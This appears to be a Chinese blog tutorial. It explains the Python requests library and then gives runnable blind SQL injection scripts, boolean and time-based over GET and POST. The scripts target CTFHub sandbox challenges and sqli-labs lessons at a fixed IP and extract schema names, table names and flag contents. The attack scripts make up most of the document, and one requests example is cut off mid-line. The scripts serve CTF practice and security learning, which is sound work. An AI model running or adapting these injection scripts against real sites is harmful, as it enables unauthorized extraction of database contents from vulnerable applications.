参考资料

Python爬虫小白入门(二)requests库 - 阿里波特 - 博客园 (cnblogs.com)

官方文档中文版:

Requests: 让 HTTP 服务人类 — Requests 2.18.1 文档 (python-requests.org)

基础知识

在发送请求后,返回的是一个Response 对象,我们可以获取以下的各种信息,

  1. url参数
  2. 响应内容
  3. 二进制响应内容
  4. JSON响应内容
  5. 响应头

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
payload = {'key1': 'value1', 'key2': 'value2'}
r = requests.get("http://httpbin.org/get", params=payload)

print(r.url)
# 传递的url参数
#http://httpbin.org/get?key1=value1&key2=value2

print(r.text)
# 响应内容
'''
{
"args": {
"key1": "value1",
"key2": "value2"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.28.1",
"X-Amzn-Trace-Id": "Root=1-63d38810-2df7104f766a42d8697f7de7"
},
"origin": "144.52.143.241",
"url": "http://httpbin.org/get?key1=value1&key2=value2"
}
'''

print(r.content)
# 二进制响应内容
'''
b'{\n "args": {\n "key1": "value1", \n "key2": "value2"\n }, \n "headers": {\n "Accept": "*/*", \n "Accept-Encoding": "gzip, deflate", \n "Host": "httpbin.org", \n "User-Agent": "python-requests/2.28.1", \n "X-Amzn-Trace-Id": "Root=1-63d38810-2df7104f766a42d8697f7de7"\n }, \n "origin": "144.52.143.241", \n "url": "http://httpbin.org/get?key1=value1&key2=value2"\n}\n'
'''

print(r.json())
# JSON响应内容
'''
{'args': {'key1': 'value1', 'key2': 'value2'}, 'headers': {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Host': 'httpbin.org', 'User-Agent': 'python-requests/2.28.1', 'X-Amzn-Trace-Id': 'Root=1-63d38810-2df7104f766a42d8697f7de7'}, 'origin': '144.52.143.241', 'url': 'http://httpbin.org/get?key1=value1&key2=value2'}
'''

print(r.headers)
# 响应头
'''
{'Connection': 'close', 'Content-Length': '378', 'Access-Control-Allow-Credentials': 'true', 'Access-Control-Allow-Origin': '*', 'Content-Type': 'application/json', 'Date': 'Fri, 27 Jan 2023 08:24:09 GMT', 'Server': 'gunicorn/19.9.0'}
'''

GET请求

  1. 无参数:
1
r = requests.get("https://unsplash.com")
  1. 有参数:(GET传params
1
2
3
4
payload = {'key1': 'value1', 'key2': 'value2'}
r = requests.get("http://httpbin.org/get", params=payload)

# http://httpbin.org/get?key1=value1&key2=value2

POST请求

  1. 无参数:
1
r = requests.post("http://httpbin.org/post")
  1. 有参数:(POST传data
1
2
payload = {'key1': 'value1', 'key2': 'value2'}
r = requests.post("http:httpbin.org/

其他请求

1
2
3
4
r = requests.put("http://httpbin.org/put")
r = requests.delete("http://httpbin.org/delete")
r = requests.head("http://httpbin.org/get")
r = requests.options("http://httpbin.org/get")

会话对象

会话对象让你能够跨请求保持某些参数。它也会在同一个 Session 实例发出的所有请求之间保持 cookie, 期间使用 urllib3 的 connection pooling 功能。所以如果你向同一主机发送多个请求,底层的 TCP 连接将会被重用,从而带来显著的性能提升。

1
2
3
4
5
6
7
s = requests.Session()

s.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
r = s.get("http://httpbin.org/cookies")

print(r.text)
# '{"cookies": {"sessioncookie": "123456789"}}'

什么是Session(会话)

服务器为了保存用户状态而创建的一个特殊的对象。

当浏览器第一次访问服务器时,服务器创建一个session对象(该对象有一个唯一的id,一般称之为sessionId),服务器会将sessionIdcookie的方式发送给浏览器。当浏览器再次访问服务器时,会将sessionId发送过来,服务器依据sessionId就可以找到对应的session对象。

写脚本步骤

  1. 明确题目的请求方式
  2. 初始化urlpayload
  3. 进行请求,是GET 请求就将payload传params ,是POST 请求就传data
  4. 根据题目条件构造payload,一般可以按照长度、库名、表名、字段名的顺序进行盲注

示例

布尔盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import time

url = "http://challenge-ad4eb3975c519843.sandbox.ctfhub.com:10800?"
temp = {"id": ""}
column = ""
for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# 库名
temp[
"id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (
i, mid)
# 表名
temp[
"id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" % (
i, mid)
# 字段名
temp[
"id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)^1" % (
i, mid)
# 内容
temp["id"] = "1^(ascii(substr((select(group_concat(flag))from(flag)),%d,1))>%d)^1" % (i, mid)
r = requests.get(url, params=temp)
time.sleep(0.04)
print(low, high, mid, ":")
if "query_success" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
column += chr(mid)
print(column)

print("All:", column)

时间盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import sys
import time

session = requests.session()
url = "http://challenge-2d34daf22fb1acf3.sandbox.ctfhub.com:10800?id="
name = ""

# for k in range(1, 10):
# for i in range(1, 10):
# print(i)
# for j in range(31, 128):
# j = (128 + 31) - j
# str_ascii = chr(j)
# # 数据库名
# # payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)" % (str(i), str(str_ascii))
# # 表名
# # payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
# # 字段名
# # payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
# start_time = time.time()
# str_get = session.get(url=url + payolad)
# end_time = time.time()
# t = end_time - start_time
# if t > 1:
# if str_ascii == "+":
# sys.exit()
# else:
# name += str_ascii
# break
# print(name)

# 查询字段内容
for i in range(1, 50):
print(i)
for j in range(31, 128):
j = (128 + 31) - j
str_ascii = chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" % (i, str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)

盲注脚本优化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def traversing(char):
'''
遍历法 T(n)=(n+1)/2 average=46
:param char:
:return:
'''
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!'#$%&()*+,-./:;<=>?@[]^_{|}~"
for i in chars:
if i == char:
print(i)
return

def binary(char):
'''
二分法 T(n)=log2(n) average=6.6
:param char:
:return:
'''
left = 0x1f
right = 0x7f
while True:
mid = left + (right - left) // 2
if left == mid:
print(chr(mid))
return
if mid > ord(char):
right = mid
else:
left = mid

def and_operation(char):
'''
与运算 T(n)=7
:param char:
:return:
'''
ans = 0
for i in range(7):
if ord(char) & 2 ** i:
ans += 2 ** i
print(chr(ans))

一、sql注入之GET传参之布尔型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

result = ""
url_template = "http://43.247.91.228:84/Less-8/?id=2' and ascii(substr(({0}),{1},1))>{2} %23"
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
url_length = "http://43.247.91.228:84/Less-8/?id=2' and length(({0})) >{1} %23"

def get_result_length(payload,value):
for n in range(1,100):
url = url_length.format(payload,n)
response = requests.get(url)
length = len(response.text)
if length >value:
print("……data length is :" + str(n))
return n

def get_db_name(data_length,payload,value):
for i in range(1,data_length):
for char in chars:
url = url_template.format(payload,i,ord(char))
response = requests.get(url)
length = len(response.text)
if length>value: #根据返回长度的不同来判断字符正确与否
global result
result += char
print("…… data is :"+ result)
break

#自定义 sql注入语句 payload 分割符 为0
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database() "
# 根据正确访问时错误访问时返回页面文本长度的不同 来设置一个判断值
value = 706
data_length = get_result_length(payload,value)+1
get_db_name(data_length,payload,value)
print(result)

二、sql注入之GET传参之延时型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
data=""

# 需要 不断 手工调整 url 和 url_length 中的 limit 的第一个参数 来获取下一行的数据
url = "http://43.247.91.228:84/Less-9/?id=1' and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(3),NULL); %23"
url_length="http://43.247.91.228:84/Less-9/?id=1' and if((length(({0} limit 1,1))={1} ),sleep(3),NULL); %23"
def get_length(payload):
for n in range(1,100):
url= url_length.format(payload,n)
#print(url)
if(get_respone(url)):
print("[+] length is {0}".format(n))
return n
def get_data(payload,value,length):
for n in range(1,length):
for v in value :
url_data = url.format(payload,n,ord(v)) #ord()返回字符的ASCII码
#print(url_data)
if(get_respone(url_data)):
global data
data=data+v
print("[+] data is {0}".format(data))
break
def get_respone(url):
try:
html = requests.get(url,timeout=2)
return False
except Exception as e:
print("......")
return True
#可以更改payload 来获取需要的数据
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)

三、sql注入之POST传参之布尔型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""

def get_length(value): #获取要查询的数据的长度
for n in range(1,100):
payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length >value:
print("……data length is :" + str(n))
return n

def get_data(data_length,value): #获取数据
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length>value: #根据返回长度的不同来判断字符正确与否
result += char
print("…… data is :"+ result)
break


url = "http://43.247.91.228:84/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 1460 # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看

length = get_length(value) +1
get_data(length,value)
print(result)

四、sql注入之POST传参之延时型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import time
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result=""

def get_length():#获取数据的长度
for n in range(1, 100):
payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time #求出请求前后的时间差来判断是否延时了
if use_time > 3:
print("...... data's length is :"+ str(n))
return n

def get_data(length):#获取数据
global result
for n in range(1,length):
for v in value:
payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload,n,ord(v))
data = {"uname":payload,"passwd":"admin","submit":"submit"}
start_time = time.time()
requests.post(url,data=data)
end_time = time.time()
use_time = end_time - start_time
# 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
if use_time >4:
result += v
print("......"+result)



url = "http://43.247.91.228:84/Less-15/"

data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"

length = get_length() + 1 #注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :"+ result)